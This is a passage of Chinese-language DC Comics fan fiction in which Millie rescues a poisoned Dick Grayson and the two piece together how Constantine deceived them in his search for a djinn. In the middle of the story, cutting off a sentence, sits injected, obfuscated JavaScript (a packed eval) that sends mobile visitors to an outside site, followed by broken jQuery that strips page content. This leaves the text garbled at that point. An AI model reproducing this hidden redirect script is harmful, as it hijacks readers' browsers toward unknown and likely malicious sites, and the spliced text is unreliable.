(12)
米莉简直不敢相信自己的眼睛——迪克·格雷森究竟是怎么把自己搞成这惨样的?老天在上,一周前他们才刚见过面!
她掰开迪克染血的下颌,两指发力,硬生生将他嘴角扯出一个近乎撕裂的弧度。怒火在她胸腔里翻腾,几乎烧穿了理智,让她完全顾不得场合地点,只想好好教训怀里这个找死的蠢货。
“理查德·格雷森,你那该死的脑子是被情感腌入味了吗?”黑暗里,她嘴角似乎勾着,但那双翠绿的眼睛却像燃烧的沼泽,粘稠、致命,“我们得好好聊聊。就算有芭布斯(Barbara)拜托——要不是康斯坦丁那混蛋‘额外提醒’,我他妈怎么可能在48小时内从塞舌尔飞回来?!哈!30小时45分钟直飞,外加欠了斯莱德一个大人情,他可比高利贷狠十倍……动动你那可怜的小脑仁,给我想想,你这蠢鸟该怎么报偿这份‘恩情’!”
芭芭拉?康斯坦丁?斯莱德?
三个名字像三把生锈的钥匙,搅动着迪克尚未完全复苏的意识,让他更加混乱。他恍惚地摇头,随即又紧张地攥紧了米莉的手腕,眼神里全是未散的担忧和焦虑。
“——还在想戴斯蒙德那坨行走的肌肉山?哼,我用了点从午夜老爹那儿换来的小把戏,暂时拖住了他。”米莉啐掉嘴里的玻璃渣,用拇指狠狠抹掉唇边的血痕,扯出一个杀气腾腾的笑,“行,算你走运。这儿确实不是算账的好地方,先撤!咱们的‘旧账’,有的是时间慢慢清算!”
迪克深感不妙。更糟的是,残存的理性还在尖叫——康斯坦丁的预言!时间!他口齿不清地试图解释:“……还不能直接撤,米莉。监控器……灾祸……康斯坦丁的占卜说它就要……”
“哦?”米莉一边的眉毛挑得老高,几乎要飞进银发里,“康斯坦丁最近怎么这么好心,到处给人免费占卜送温暖啊?”她从那过于“巧合”的善意里嗅到了浓烈的阴谋腥臭,绿眸和接下来的话一同淬出冰冷的毒液,“看来我们确实需要好好聊一聊了,你和我——不,还得加上康斯坦丁!我们仨!”
(13)
是时候说说米莉视角的故事了。
一周前,解决了日间妖灵,她心头那股邪火还没泄干净。懒得走繁琐的调查程序,她直接找上康斯坦丁——那家伙正好欠她人情——让他用占卜指条明路,方便她揪出幕后黑手,揍一顿解气。
——“等等,稍等一下!”迪克大惊,挣扎着想坐直,“这不对吧?康斯坦丁不是你的追求者?他怎么会欠你人情?”
米莉像看傻子一样瞪着他:“追求者?恶心透顶(Gross)!我和那烂人是老交情了——但他睡遍天堂地狱也不会打我的主意!”迪克露出可怜的狗狗眼,米莉叹气摊手,实说实话,“行吧,我承认,很多年前我确实被他那张脸骗过,”她耸耸肩,一脸往事不堪回首,“代价是我把他揍得他妈都不认识。”
迪克的脸瞬间黑如锅底——他发现自己被那老骗子耍得不轻,额外加赠一笔情敌的酸涩。见状,米莉不客气地给了他一记肘击,疼得他龇牙咧嘴,“闭嘴,听我说完!我们必须对一对时间线,看看康斯坦丁那混蛋到底在搞什么鬼!”——
康斯坦丁答应得异常爽快。占卜指向了戴斯蒙德的狐朋狗党——外号“火腿”的迪弗。米莉干净利落地收拾了那群帮派混混,顺手带走了新任V女士——金发碧眼的瓦娜,把她塞去了哥谭避风头。当然,代价是被戴斯蒙德彻底拉黑,尾款也打了水漂。
——“嘿!”迪克眼睛一亮,不顾疼痛又凑近几分,几乎贴上米莉的脸,“你还顺走了我的钱包,甜心!还给我留了枚银币——”
“那是‘欠你一次’的意思,”米莉冷酷地用一根手指抵住他的额头,把他推开,“毕竟,不管怎么说,我把你和那只小罗宾丢在了戴斯蒙德的魔窟里。仅此而已。每个我欠人情的家伙都有份,万人迷先生。别自作多情!”——
搞定瓦娜的事,米莉顺势回了布鲁德海文。之前从午夜老爹的地下黑拳赛里摸到一条指向她多年夙愿的有趣情报,源头正锁定布港。也正因如此,她才“好心”接下了康斯坦丁转手甩给她的、报酬丰厚的戴斯蒙德委托。
——“老天!”迪克倒吸一口凉气,“康斯坦丁说是在地下舞厅看你跳舞才认识的你——这也是骗我的?!所以戴斯蒙德这活儿,最开始是康斯坦丁接的?”
“哈?跳舞?”米莉嗤笑一声,指尖无意识划过腰间的剑柄,“剑刃上的死亡华尔兹吗?”——
按照情报,她重返布港的地下换金所。倒霉的是,因为和戴斯蒙德彻底闹掰(“我们俩完蛋了!We are done!”),索姆斯那杂碎暗中使绊子,把她和线人一起打包送进了警局。结果就是,米莉在布鲁德海文警局的禁闭室里灰溜溜地窝了一晚,还“享受”了一次不怎么愉快的“肢体接触”(说到这里,她不怎么愉快地摸了摸自己依旧隐隐作痛的颧骨)。
——“什么?”迪克瞬间紧张起来,“米莉你没……”
“出手?得了吧,漂亮脸蛋,我没疯,”米莉翻了个白眼,“那可是警察局!除了忍着我难道还想被扭送联邦监狱?”——
再然后,就是三天前。丧钟(斯莱德)找上门,说有笔“大生意”一起做(迪克立刻警觉:“你们要干嘛,米莉?” 米莉懒洋洋地挥手,像赶苍蝇:“管得太宽了,小鸟。不过是生意罢了。”)。于是她飞往塞舌尔。临上飞机前,鬼使神差收到了康斯坦丁那条神神叨叨的短信,说什么“72小时内关乎命运的大事件”。这提醒让她心神不宁,隔三差五检查手机,这才在出海进入信号死区前,及时捞到了芭芭拉发来的求救信息
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126674|180084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
之后的事,迪克就都知道了——她像讨债一样逼丧钟还了个人情,搭上一伙雇佣兵的顺风机,杀回布鲁德海文,直捣虎穴捞人。
(14)
复盘完毕,电梯井里的两人在昏暗中对视。
蓝水晶映着绿玛瑙,无声翻涌。
“——所以,”米莉的牙齿咬得咯咯作响,翠绿的瞳孔里凶光毕露,活像要把某人生吞活剥,“康斯坦丁这混球,把我们都当猴耍了!我要宰了他、他以为自己是伊格尼斯·法图斯*?”
“但我们不知道康斯坦丁在哪儿?”迪克试图委婉,出口的话却更像火上浇油,“他肯定躲远了,大西洋可拦不住一个一心跑路的地狱侦探!”
“才不呢,那老狗,”米莉冷笑,“他准是偷偷去找迪精(Djinn)了!我就知道他主动搭话准没憋好屁!”
说话间,她手下不停,利落地帮迪克固定好下肢,防止血压骤降引发血栓——这就是“燕子”的“仁慈”:感谢百果园的托蜜拉*不辞辛劳,药剂里的水鬼脑不再以摧毁脑神经的方式生效;致命后果也从当场暴毙或植物人,降级为神经损伤加急性肾衰竭——好吧,听起来对普通人依旧致命,但对迪克这种老牌义警?不过是熟悉的“老朋友”又登门拜访了。
期间,迪克脸色煞白,身体间歇性抽搐,但大脑还算清醒。
他慎重追问:“什么是‘迪精’,亲爱的米莉?照顾下我这魔法绝缘体,需要前情提要。”
“把它当成——你们那个阿拉伯童话里的阿拉丁神灯精灵就行。我记得是哄小孩的睡前故事?”米莉的类比简单粗暴,瞬间让迪克理解了这超自然生物(唯一问题是——“嘿,那可不是我们这儿的专利童话。”伤员弱弱的抗议一如既往被无视),“只有把它从封印小瓶里放出来,它就能实现愿望,三个。罕见的零代价。所以我才他妈花了大半辈子在找这玩意儿。午夜老爹的小道消息说,最近有法师在布鲁德海文附近感应到了封印它的波动。”
“——老天!这就说得通了!康斯坦丁想用占卜把我们支开!他骗了我、又提示了你!”迪克恍然大悟,随即脸色剧变,“等等!是我!我亲口把线索说漏给他了!圣安东尼奥!他铁定去了那儿!”
米莉只觉得眼前一黑——老天在上,她是不是说过,一周前他们才刚见过面!怎么忽然就错过了八百集连续剧?!这不公平!
可还不待米莉深究,迪克忽然面色古怪地开了口——
“嘿,米莉,如果康斯坦丁是为了摆脱地狱恶魔才寻求迪精帮助,那你呢?”
井底的毒气残液滴落,嗒。
……只是未雨绸缪。迪克心想,他无视了心底里来自迪克的抗拒,只用夜翼一贯的开朗口吻,把这隐含警惕的审视藏进调情里:“你的愿望是什么,我亲爱的?”